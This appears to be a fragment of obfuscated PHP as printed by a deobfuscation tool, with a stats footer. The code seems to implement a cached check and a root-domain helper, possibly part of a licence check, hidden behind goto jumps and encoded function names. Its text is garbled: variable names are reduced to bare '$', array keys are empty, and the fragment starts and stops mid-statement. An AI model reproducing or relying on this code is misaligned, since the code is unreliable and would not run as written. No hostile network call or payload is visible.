$[pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x000058])]==0)){goto PlVI6gIEAd;}new Exception(str_replace(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][100-20*5], $GLOBALS[][0x0000059]),call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]),base64_decode(pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x005b]))));PlVI6gIEAd:Cache::set(pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x0005c]) .$,0x001,0x015180);$;}protected function getRootDomain($){goto ca0Ev46QR7;$;ca0Ev46QR7:$=strtolower(trim($));$;$=explode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00039]),$);$;$=count($);$;$=pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x05f]);$;$=pack($GLOBALS[][100-20*5],$GLOBALS[][0x0060]);$;goto O0KY6Cxj49;$;ATv4D2JtsA:uE3bjb6Kej:return $;$;goto LhMhn6WLAz;$;O0KY6Cxj49:if($>0x0002&&(preg_match($,$)|| preg_match($,$))){goto S8jCJDVIrA;}$=implode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][6/2*3-9], $GLOBALS[][0x0000063]),array_slice($,-0x0002,0x0002,!0));goto uE3bjb6Kej;$;S8jCJDVIrA:$=implode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00039]),array_slice($,-0x00003,0x00003,!0));$;goto ATv4D2JtsA;$;LhMhn6WLAz:}}
Function Calls
None |
Stats
MD5 | 8059b46a41ffdc63ce3a9703cf825be5 |
Eval Count | 0 |
Decode Time | 93 ms |